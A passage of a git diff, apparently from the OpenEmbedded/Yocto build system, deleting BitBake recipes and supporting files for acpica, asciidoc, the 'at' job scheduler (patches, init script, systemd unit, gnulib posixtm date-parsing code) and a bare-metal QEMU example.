-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb54
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.7.bb44
350 files changed, 0 insertions, 21291 deletions
diff --git a/meta/recipes-extended/acpica/acpica_20250807.bb b/meta/recipes-extended/acpica/acpica_20250807.bb
deleted file mode 100644
index f6ee3285a1..0000000000
--- a/meta/recipes-extended/acpica/acpica_20250807.bb
+++ /dev/null
@@ -1,47 +0,0 @@
1SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
2DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
3OS-independent reference implementation of the Advanced Configuration and \
4Power Interface Specification (ACPI). ACPICA code contains those portions of \
5ACPI meant to be directly integrated into the host OS as a kernel-resident \
6subsystem, and a small set of tools to assist in developing and debugging \
7ACPI tables."
8
9HOMEPAGE = "https://www.intel.com/content/www/us/en/developer/topic-technology/open/acpica/overview.html"
10SECTION = "console/tools"
11
12LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
13LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=8566a414d226d05b68e41f30698f9624"
14
15COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
16
17DEPENDS = "m4-native flex-native bison-native"
18
19SRC_URI = "git://github.com/acpica/acpica;protocol=https;branch=master;tag=${PV}"
20SRCREV = "aa98db3bd149fc1f8d2a3017cb05b6b1982c3296"
21
22inherit update-alternatives
23
24ALTERNATIVE_PRIORITY = "100"
25ALTERNATIVE:${PN} = "acpixtract acpidump"
26
27EXTRA_OEMAKE = "CC='${CC}' \
28 OPT_CFLAGS=-Wall \
29 DESTDIR=${D} \
30 PREFIX=${prefix} \
31 INSTALLDIR=${bindir} \
32 INSTALLFLAGS= \
33 YACC=bison \
34 YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
35 "
36
37do_install() {
38 oe_runmake install
39}
40
41# iasl*.bb is a subset of this recipe, so RREPLACE it
42PROVIDES = "iasl"
43RPROVIDES:${PN} += "iasl"
44RREPLACES:${PN} += "iasl"
45RCONFLICTS:${PN} += "iasl"
46
47BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/asciidoc/asciidoc_10.2.1.bb b/meta/recipes-extended/asciidoc/asciidoc_10.2.1.bb
deleted file mode 100644
index 848c380363..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc_10.2.1.bb
+++ /dev/null
@@ -1,26 +0,0 @@
1SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
2DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
3articles, books and UNIX man pages."
4
5HOMEPAGE = "http://asciidoc.org/"
6
7LICENSE = "GPL-2.0-only"
8LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
9 file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
10 "
11
12SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
13SRCREV = "21e33efe96ba9a51d99d1150691dae750afd6ed1"
14
15DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
16
17# Tell xmllint where to find the DocBook XML catalogue, because right now it
18# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
19export SGML_CATALOG_FILES = "file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
20
21inherit setuptools3
22CLEANBROKEN = "1"
23
24BBCLASSEXTEND = "native nativesdk"
25
26UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
deleted file mode 100644
index fd57f94cd5..0000000000
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ /dev/null
@@ -1,56 +0,0 @@
1From f446686916e503dfb9fb928252d1b72a07573b29 Mon Sep 17 00:00:00 2001
2From: Dengke Du <dengke.du@windriver.com>
3Date: Tue, 18 Jul 2017 03:42:56 -0400
4Subject: [PATCH] remove glibc assumption
5
6glibc time.h header has an undocumented __isleap macro
7that we are using anf musl is missing it.
8Since it is undocumented & does not appear
9on any other libc, stop using it and just define the macro in
10locally instead.
11
12Upstream-Status: Submitted [ https://lists.debian.org/debian-accessibility/2017/07/msg00044.html ]
13
14Signed-off-by: Khem Raj <raj.khem@gmail.com>
15
16Signed-off-by: Dengke Du <dengke.du@windriver.com>
17---
18 parsetime.y | 11 +++++++----
19 1 file changed, 7 insertions(+), 4 deletions(-)
20
21Index: at-3.2.1/parsetime.y
22===================================================================
23--- at-3.2.1.orig/parsetime.y
24+++ at-3.2.1/parsetime.y
25@@ -14,6 +14,9 @@
26 ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
27 #endif
28
29+#define is_leap_year(y) \
30+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
31+
32 struct tm exectm;
33 static int isgmt;
34 static char *tz = NULL;
35@@ -230,8 +233,8 @@ date : month_name day_number
36 mnum == 12) && dnum > 31)
37 || ((mnum == 4 || mnum == 6 || mnum == 9 ||
38 mnum == 11) && dnum > 30)
39- || (mnum == 2 && dnum > 29 && __isleap(ynum+1900))
40- || (mnum == 2 && dnum > 28 && !__isleap(ynum+1900))
41+ || (mnum == 2 && dnum > 29 && is_leap_year(ynum+1900))
42+ || (mnum == 2 && dnum > 28 && !is_leap_year(ynum+1900))
43 )
44 {
45 yyerror("Error in day of month");
46@@ -274,8 +277,8 @@ date : month_name day_number
47 mnum == 12) && dnum > 31)
48 || ((mnum == 4 || mnum == 6 || mnum == 9 ||
49 mnum == 11) && dnum > 30)
50- || (mnum == 2 && dnum > 29 && __isleap(ynum+1900))
51- || (mnum == 2 && dnum > 28 && !__isleap(ynum+1900))
52+ || (mnum == 2 && dnum > 29 && is_leap_year(ynum+1900))
53+ || (mnum == 2 && dnum > 28 && !is_leap_year(ynum+1900))
54 )
55 {
56 yyerror("Error in day of month");
diff --git a/meta/recipes-extended/at/at/atd.init b/meta/recipes-extended/at/at/atd.init
deleted file mode 100644
index eca379b3cd..0000000000
--- a/meta/recipes-extended/at/at/atd.init
+++ /dev/null
@@ -1,45 +0,0 @@
1#!/bin/sh
2#
3# Starts at daemon
4#
5
6umask 077
7
8# Source function library.
9. /etc/init.d/functions
10
11start() {
12 echo -n "Starting atd: "
13 start-stop-daemon --start --quiet --pidfile /var/run/atd.pid --background --exec /usr/sbin/atd -- -f
14 echo "OK"
15}
16stop() {
17 echo -n "Stopping atd: "
18 start-stop-daemon --stop --quiet --pidfile /var/run/atd.pid
19 echo "OK"
20}
21restart() {
22 stop
23 start
24}
25
26case "$1" in
27 start)
28 start
29 ;;
30 stop)
31 stop
32 ;;
33 restart|reload)
34 restart
35 ;;
36 status)
37 status /usr/sbin/atd
38 ;;
39 *)
40 echo $"Usage: $0 {start|stop|restart|status}"
41 exit 1
42esac
43
44exit $?
45
diff --git a/meta/recipes-extended/at/at/atd.service b/meta/recipes-extended/at/at/atd.service
deleted file mode 100644
index 6dc844504a..0000000000
--- a/meta/recipes-extended/at/at/atd.service
+++ /dev/null
@@ -1,9 +0,0 @@
1[Unit]
2Description=Job spooling tools
3After=syslog.target
4
5[Service]
6ExecStart=@SBINDIR@/atd -f
7
8[Install]
9WantedBy=multi-user.target
diff --git a/meta/recipes-extended/at/at/configure-add-enable-pam.patch b/meta/recipes-extended/at/at/configure-add-enable-pam.patch
deleted file mode 100644
index 1e5efef128..0000000000
--- a/meta/recipes-extended/at/at/configure-add-enable-pam.patch
+++ /dev/null
@@ -1,25 +0,0 @@
1Upstream-Status: Pending
2
3--- at-3.1.12/configure.ac 2011-06-23 14:51:03.653572945 +0800
4+++ at-3.1.12/configure.ac.new 2011-06-27 16:12:14.903572945 +0800
5@@ -81,10 +81,18 @@
6 AC_FUNC_VPRINTF
7 AC_FUNC_GETLOADAVG
8 AC_CHECK_FUNCS(getcwd mktime strftime setreuid setresuid sigaction waitpid)
9+
10+AC_ARG_WITH([pam],
11+ [AS_HELP_STRING([--without-pam], [without PAM support])])
12+
13+if test "x$with_pam" != xno; then
14 AC_CHECK_HEADERS(security/pam_appl.h, [
15 PAMLIB="-lpam"
16- AC_DEFINE(HAVE_PAM, 1, [Define to 1 for PAM support])
17-])
18+ AC_DEFINE(HAVE_PAM, 1, [Define to 1 for PAM support])],
19+ [if test "x$with_pam" = xyes; then
20+ AC_MSG_ERROR([PAM selected but security/pam_misc.h not found])
21+ fi])
22+fi
23
24 dnl Checking for programs
25
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
deleted file mode 100644
index 11023bdf52..0000000000
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1Upstream-Status: Inappropriate [licensing]
2
3posixtm.[ch] files are replaced with gplv2 version from these locations:
4
5http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=blob;f=lib/posixtm.c;hb=5661ab9d49512b4cf3c19caa11bb581d8ce561ba
6http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=blob;f=lib/posixtm.h;hb=5661ab9d49512b4cf3c19caa11bb581d8ce561ba
7
8update the Copyright file information to reflect the replaced files.
9
10Date: 2010/08/31
11Nitin A Kamble nitin.a.kamble@intel.com
12
13Index: at-3.2.1/Copyright
14===================================================================
15--- at-3.2.1.orig/Copyright
16+++ at-3.2.1/Copyright
17@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
18 Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
19 2005, 2006, 2007 Free Software Foundation Inc.
20
21- This program is free software: you can redistribute it and/or modify
22+ This program is free software; you can redistribute it and/or modify
23 it under the terms of the GNU General Public License as published by
24- the Free Software Foundation; either version 3 of the License, or
25- (at your option) any later version.
26+ the Free Software Foundation; either version 2, or (at your option)
27+ any later version.
28
29 This program is distributed in the hope that it will be useful,
30 but WITHOUT ANY WARRANTY; without even the implied warranty of
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
deleted file mode 100644
index adb8652053..0000000000
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From 150b63a936af71b992a3a7b0fc2d2497e51fc800 Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Wed, 28 Jan 2015 23:52:00 -0800
4Subject: [PATCH] Makefile: fix for parallel build
5
6Fixed:
7y.tab.c:1001:0: error: unterminated #if
8
9Let "$(YACC) -d parsetime.y" only run once will fix the problem.
10
11Upstream-Status: Pending
12
13Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
14---
15 Makefile | 4 +++-
16 1 file changed, 3 insertions(+), 1 deletion(-)
17
18Index: at-3.2.1/Makefile.in
19===================================================================
20--- at-3.2.1.orig/Makefile.in
21+++ at-3.2.1/Makefile.in
22@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
23 atd: $(RUNOBJECTS)
24 $(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
25
26-y.tab.c y.tab.h: parsetime.y
27+y.tab.h: y.tab.c
28+
29+y.tab.c: parsetime.y
30 $(YACC) -d parsetime.y
31
32 lex.yy.c: parsetime.l
diff --git a/meta/recipes-extended/at/at/pam.conf.patch b/meta/recipes-extended/at/at/pam.conf.patch
deleted file mode 100644
index 38e7fc1b7d..0000000000
--- a/meta/recipes-extended/at/at/pam.conf.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1From 8c8a0b6ba199327d2eafefd6611353e1c483a854 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Wed, 5 Dec 2018 10:00:36 +0800
4Subject: [PATCH] fix pam.conf
5
6oe doesn't support "@include", use the concrete directive instead.
7
8Upstream-Status: Pending
9
10Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
11Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
12---
13 pam.conf | 6 +++---
14 1 file changed, 3 insertions(+), 3 deletions(-)
15
16diff --git a/pam.conf b/pam.conf
17index 3674c0a..2f8d586 100644
18--- a/pam.conf
19+++ b/pam.conf
20@@ -2,9 +2,9 @@
21 # The PAM configuration file for the at daemon
22 #
23
24-@include common-auth
25-@include common-account
26+auth include common-auth
27+account include common-account
28 session required pam_loginuid.so
29-@include common-session-noninteractive
30+session include common-session-noninteractive
31 session required pam_limits.so
32 auth required pam_env.so user_readenv=1
33--
342.7.4
35
diff --git a/meta/recipes-extended/at/at/posixtm.c b/meta/recipes-extended/at/at/posixtm.c
deleted file mode 100644
index bba8312d9a..0000000000
--- a/meta/recipes-extended/at/at/posixtm.c
+++ /dev/null
@@ -1,326 +0,0 @@
1/* Parse dates for touch and date.
2
3 Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
4 2005, 2006, 2007 Free Software Foundation Inc.
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2, or (at your option)
9 any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software Foundation,
18 Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */
19
20/* Yacc-based version written by Jim Kingdon and David MacKenzie.
21 Rewritten by Jim Meyering. */
22
23#include "config.h"
24
25#include "posixtm.h"
26
27#include <stdio.h>
28#include <stdlib.h>
29#include <sys/types.h>
30#include <string.h>
31
32#if USE_UNLOCKED_IO
33# include "unlocked-io.h"
34#endif
35
36/* ISDIGIT differs from isdigit, as follows:
37 - Its arg may be any int or unsigned int; it need not be an unsigned char
38 or EOF.
39 - It's typically faster.
40 POSIX says that only '0' through '9' are digits. Prefer ISDIGIT to
41 isdigit unless it's important to use the locale's definition
42 of `digit' even when the host does not conform to POSIX. */
43#define ISDIGIT(c) ((unsigned int) (c) - '0' <= 9)
44
45/*
46 POSIX requires:
47
48 touch -t [[CC]YY]mmddhhmm[.ss] FILE...
49 8, 10, or 12 digits, followed by optional .ss
50 (PDS_LEADING_YEAR | PDS_CENTURY | PDS_SECONDS)
51
52 touch mmddhhmm[YY] FILE... (obsoleted by POSIX 1003.1-2001)
53 8 or 10 digits, YY (if present) must be in the range 69-99
54 (PDS_TRAILING_YEAR | PDS_PRE_2000)
55
56 date mmddhhmm[[CC]YY]
57 8, 10, or 12 digits
58 (PDS_TRAILING_YEAR | PDS_CENTURY)
59
60*/
61
62static int
63year (struct tm *tm, const int *digit_pair, size_t n, unsigned int syntax_bits)
64{
65 switch (n)
66 {
67 case 1:
68 tm->tm_year = *digit_pair;
69 /* Deduce the century based on the year.
70 POSIX requires that 00-68 be interpreted as 2000-2068,
71 and that 69-99 be interpreted as 1969-1999. */
72 if (digit_pair[0] <= 68)
73 {
74 if (syntax_bits & PDS_PRE_2000)
75 return 1;
76 tm->tm_year += 100;
77 }
78 break;
79
80 case 2:
81 if (! (syntax_bits & PDS_CENTURY))
82 return 1;
83 tm->tm_year = digit_pair[0] * 100 + digit_pair[1] - 1900;
84 break;
85
86 case 0:
87 {
88 time_t now;
89 struct tm *tmp;
90
91 /* Use current year. */
92 time (&now);
93 tmp = localtime (&now);
94 if (! tmp)
95 return 1;
96 tm->tm_year = tmp->tm_year;
97 }
98 break;
99
100 default:
101 abort ();
102 }
103
104 return 0;
105}
106
107static int
108posix_time_parse (struct tm *tm, const char *s, unsigned int syntax_bits)
109{
110 const char *dot = NULL;
111 int pair[6];
112 int *p;
113 size_t i;
114
115 size_t s_len = strlen (s);
116 size_t len = (((syntax_bits & PDS_SECONDS) && (dot = strchr (s, '.')))
117 ? (size_t) (dot - s)
118 : s_len);
119
120 if (len != 8 && len != 10 && len != 12)
121 return 1;
122
123 if (dot)
124 {
125 if (!(syntax_bits & PDS_SECONDS))
126 return 1;
127
128 if (s_len - len != 3)
129 return 1;
130 }
131
132 for (i = 0; i < len; i++)
133 if (!ISDIGIT (s[i]))
134 return 1;
135
136 len /= 2;
137 for (i = 0; i < len; i++)
138 pair[i] = 10 * (s[2*i] - '0') + s[2*i + 1] - '0';
139
140 p = pair;
141 if (syntax_bits & PDS_LEADING_YEAR)
142 {
143 if (year (tm, p, len - 4, syntax_bits))
144 return 1;
145 p += len - 4;
146 len = 4;
147 }
148
149 /* Handle 8 digits worth of `MMDDhhmm'. */
150 tm->tm_mon = *p++ - 1;
151 tm->tm_mday = *p++;
152 tm->tm_hour = *p++;
153 tm->tm_min = *p++;
154 len -= 4;
155
156 /* Handle any trailing year. */
157 if (syntax_bits & PDS_TRAILING_YEAR)
158 {
159 if (year (tm, p, len, syntax_bits))
160 return 1;
161 }
162
163 /* Handle seconds. */
164 if (!dot)
165 {
166 tm->tm_sec = 0;
167 }
168 else
169 {
170 int seconds;
171
172 ++dot;
173 if (!ISDIGIT (dot[0]) || !ISDIGIT (dot[1]))
174 return 1;
175 seconds = 10 * (dot[0] - '0') + dot[1] - '0';
176
177 tm->tm_sec = seconds;
178 }
179
180 return 0;
181}
182
183/* Parse a POSIX-style date, returning true if successful. */
184
185bool
186posixtime (time_t *p, const char *s, unsigned int syntax_bits)
187{
188 struct tm tm0
189#ifdef lint
190 /* Placate gcc-4's -Wuninitialized.
191 posix_time_parse fails to set all of tm0 only when it returns
192 nonzero (due to year() returning nonzero), and in that case,
193 this code doesn't use the tm0 at all. */
194 = { 0, }
195#endif
196 ;
197 struct tm tm1;
198 struct tm const *tm;
199 time_t t;
200
201 if (posix_time_parse (&tm0, s, syntax_bits))
202 return false;
203
204 tm1 = tm0;
205 tm1.tm_isdst = -1;
206 t = mktime (&tm1);
207
208 if (t != (time_t) -1)
209 tm = &tm1;
210 else
211 {
212 /* mktime returns -1 for errors, but -1 is also a valid time_t
213 value. Check whether an error really occurred. */
214 tm = localtime (&t);
215 if (! tm)
216 return false;
217 }
218
219 /* Reject dates like "September 31" and times like "25:61". */
220 if ((tm0.tm_year ^ tm->tm_year)
221 | (tm0.tm_mon ^ tm->tm_mon)
222 | (tm0.tm_mday ^ tm->tm_mday)
223 | (tm0.tm_hour ^ tm->tm_hour)
224 | (tm0.tm_min ^ tm->tm_min)
225 | (tm0.tm_sec ^ tm->tm_sec))
226 return false;
227
228 *p = t;
229 return true;
230}
231
232#ifdef TEST_POSIXTIME
233/*
234 Test mainly with syntax_bits == 13
235 (aka: (PDS_LEADING_YEAR | PDS_CENTURY | PDS_SECONDS))
236
237 This test data assumes Universal Time, e.g., TZ="UTC0".
238
239 This test data also assumes that time_t is signed and is at least
240 39 bits wide, so that it can represent all years from 0000 through
241 9999. A host with 32-bit signed time_t can represent only time
242 stamps in the range 1901-12-13 20:45:52 through 2038-01-18
243 03:14:07 UTC, assuming POSIX time_t with no leap seconds, so test
244 cases outside this range will not work on such a host.
245
246 Also, the first two lines of test data assume that the current
247 year is 2002.
248
249BEGIN-DATA
25012131415.16 13 1039788916 Fri Dec 13 14:15:16 2002
25112131415.16 13 1039788916 Fri Dec 13 14:15:16 2002
252000001010000.00 13 -62167132800 Sun Jan 1 00:00:00 0000
253190112132045.52 13 -2147483648 Fri Dec 13 20:45:52 1901
254190112132045.53 13 -2147483647 Fri Dec 13 20:45:53 1901
255190112132046.52 13 -2147483588 Fri Dec 13 20:46:52 1901
256190112132145.52 13 -2147480048 Fri Dec 13 21:45:52 1901
257190112142045.52 13 -2147397248 Sat Dec 14 20:45:52 1901
258190201132045.52 13 -2144805248 Mon Jan 13 20:45:52 1902
259196912312359.59 13 -1 Wed Dec 31 23:59:59 1969
260197001010000.00 13 0 Thu Jan 1 00:00:00 1970
261197001010000.01 13 1 Thu Jan 1 00:00:01 1970
262197001010001.00 13 60 Thu Jan 1 00:01:00 1970
263197001010100.00 13 3600 Thu Jan 1 01:00:00 1970
264197001020000.00 13 86400 Fri Jan 2 00:00:00 1970
265197002010000.00 13 2678400 Sun Feb 1 00:00:00 1970
266197101010000.00 13 31536000 Fri Jan 1 00:00:00 1971
267197001000000.00 13 * *
268197000010000.00 13 * *
269197001010000.60 13 * *
270197001010060.00 13 * *
271197001012400.00 13 * *
272197001320000.00 13 * *
273197013010000.00 13 * *
274203801190314.06 13 2147483646 Tue Jan 19 03:14:06 2038
275203801190314.07 13 2147483647 Tue Jan 19 03:14:07 2038
276203801190314.08 13 2147483648 Tue Jan 19 03:14:08 2038
277999912312359.59 13 253402300799 Fri Dec 31 23:59:59 9999
2781112131415 13 1323785700 Tue Dec 13 14:15:00 2011
2791112131415.16 13 1323785716 Tue Dec 13 14:15:16 2011
280201112131415.16 13 1323785716 Tue Dec 13 14:15:16 2011
281191112131415.16 13 -1831974284 Wed Dec 13 14:15:16 1911
282203712131415.16 13 2144326516 Sun Dec 13 14:15:16 2037
2833712131415.16 13 2144326516 Sun Dec 13 14:15:16 2037
2846812131415.16 13 3122633716 Thu Dec 13 14:15:16 2068
2856912131415.16 13 -1590284 Sat Dec 13 14:15:16 1969
2867012131415.16 13 29945716 Sun Dec 13 14:15:16 1970
2871213141599 2 945094500 Mon Dec 13 14:15:00 1999
2881213141500 2 976716900 Wed Dec 13 14:15:00 2000
289END-DATA
290
291*/
292
293# define MAX_BUFF_LEN 1024
294
295int
296main (void)
297{
298 char buff[MAX_BUFF_LEN + 1];
299
300 buff[MAX_BUFF_LEN] = 0;
301 while (fgets (buff, MAX_BUFF_LEN, stdin) && buff[0])
302 {
303 char time_str[MAX_BUFF_LEN];
304 unsigned int syntax_bits;
305 time_t t;
306 if (sscanf (buff, "%s %u", time_str, &syntax_bits) != 2)
307 printf ("*\n");
308 else
309 {
310 printf ("%-15s %2u ", time_str, syntax_bits);
311 if (posixtime (&t, time_str, syntax_bits))
312 printf ("%12ld %s", (long int) t, ctime (&t));
313 else
314 printf ("%12s %s", "*", "*\n");
315 }
316 }
317 exit (0);
318
319}
320#endif
321
322/*
323Local Variables:
324compile-command: "gcc -DTEST_POSIXTIME -g -O -Wall -W posixtm.c"
325End:
326*/
diff --git a/meta/recipes-extended/at/at/posixtm.h b/meta/recipes-extended/at/at/posixtm.h
deleted file mode 100644
index e91749d736..0000000000
--- a/meta/recipes-extended/at/at/posixtm.h
+++ /dev/null
@@ -1,37 +0,0 @@
1/* Parse dates for touch and date.
2
3 Copyright (C) 1998, 2003, 2005, 2007 Free Software Foundation Inc.
4
5 This program is free software; you can redistribute it and/or modify
6 it under the terms of the GNU General Public License as published by
7 the Free Software Foundation; either version 2, or (at your option)
8 any later version.
9
10 This program is distributed in the hope that it will be useful,
11 but WITHOUT ANY WARRANTY; without even the implied warranty of
12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 GNU General Public License for more details.
14
15 You should have received a copy of the GNU General Public License
16 along with this program; if not, write to the Free Software Foundation,
17 Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */
18
19/* Yacc-based version written by Jim Kingdon and David MacKenzie.
20 Rewritten by Jim Meyering. */
21
22#ifndef POSIXTM_H_
23# define POSIXTM_H_
24
25# include <stdbool.h>
26# include <time.h>
27
28/* POSIX Date Syntax flags. */
29# define PDS_LEADING_YEAR 1
30# define PDS_TRAILING_YEAR 2
31# define PDS_CENTURY 4
32# define PDS_SECONDS 8
33# define PDS_PRE_2000 16
34
35bool posixtime (time_t *p, const char *s, unsigned int syntax_bits);
36
37#endif
diff --git a/meta/recipes-extended/at/at_3.2.5.bb b/meta/recipes-extended/at/at_3.2.5.bb
deleted file mode 100644
index 112d1c4adc..0000000000
--- a/meta/recipes-extended/at/at_3.2.5.bb
+++ /dev/null
@@ -1,76 +0,0 @@
1SUMMARY = "Delayed job execution and batch processing"
2HOMEPAGE = "http://blog.calhariz.com/"
3DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
4the system load levels drop to a particular level."
5SECTION = "base"
6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
8DEPENDS = "flex flex-native bison-native \
9 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
10
11PACKAGECONFIG ?= "\
12 ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
13"
14
15PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
16
17RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
18"
19
20PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
21
22RCONFLICTS:${PN} = "atd"
23RREPLACES:${PN} = "atd"
24
25SRC_URI = "${DEBIAN_MIRROR}/main/a/at/${BPN}_${PV}.orig.tar.gz \
26 file://posixtm.c \
27 file://posixtm.h \
28 file://file_replacement_with_gplv2.patch \
29 file://atd.init \
30 file://atd.service \
31 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
32 file://makefile-fix-parallel.patch \
33 file://0001-remove-glibc-assumption.patch \
34 "
35
36PAM_SRC_URI = "file://pam.conf.patch \
37 file://configure-add-enable-pam.patch"
38
39SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
40
41EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
42 --with-daemon_username=root \
43 --with-daemon_groupname=root \
44 --with-jobdir=/var/spool/at/jobs \
45 --with-atspool=/var/spool/at/spool \
46 ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
47
48inherit autotools-brokensep systemd update-rc.d
49
50INITSCRIPT_NAME = "atd"
51INITSCRIPT_PARAMS = "defaults"
52
53SYSTEMD_SERVICE:${PN} = "atd.service"
54
55do_patch[postfuncs] += "copy_posix_files"
56
57copy_posix_files() {
58 cp -f ${UNPACKDIR}/posixtm.[ch] ${S}
59}
60
61do_install () {
62 oe_runmake -e "IROOT=${D}" install
63
64 install -d ${D}${sysconfdir}/init.d
65 install -m 0755 ${UNPACKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
66
67 # install systemd unit files
68 install -d ${D}${systemd_system_unitdir}
69 install -m 0644 ${UNPACKDIR}/atd.service ${D}${systemd_system_unitdir}
70 sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
71
72 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
73 install -D -m 0644 ${S}/pam.conf ${D}${sysconfdir}/pam.d/atd
74 fi
75 rm -f ${D}${datadir}/at/batch-job
76}
diff --git a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
deleted file mode 100644
index 4307716069..0000000000
--- a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
+++ /dev/null
@@ -1,69 +0,0 @@
1SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
2HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
3DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
4LICENSE = "MIT"
5LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
6
7SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
8PV = "0.1+git"
9
10SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
11UPSTREAM_CHECK_COMMITS = "1"
12
13# The following variables should be set to accomodate each application
14BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
15IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
16IMAGE_NAME_SUFFIX ?= ""
17
18# Baremetal-Image creates the proper wiring, assumes the output is provided in
19# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
20# package to be created since we might have some way of updating the baremetal
21# firmware from Linux
22inherit baremetal-image
23
24# startup code for x86 uses NASM syntax
25DEPENDS:qemux86:append = " nasm-native"
26
27# These parameters are app specific for this example
28# This will be translated automatically to the architecture and
29# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
30# but the examples can also be run on other architectures/machines
31# such as vexpress-a15 by overriding the setting on the machine.conf
32COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32|qemux86|qemux86-64"
33
34BAREMETAL_QEMUARCH ?= ""
35BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
36BAREMETAL_QEMUARCH:qemuarm = "arm"
37BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
38BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
39BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
40BAREMETAL_QEMUARCH:qemux86 = "x86"
41BAREMETAL_QEMUARCH:qemux86-64 = "x86-64"
42
43EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
44
45# qemux86-64 uses a different Makefile
46do_compile:prepend:qemux86-64(){
47 cd x86-64
48}
49
50# Install binaries on the proper location for baremetal-image to fetch and deploy
51do_install(){
52 install -d ${D}/${base_libdir}/firmware
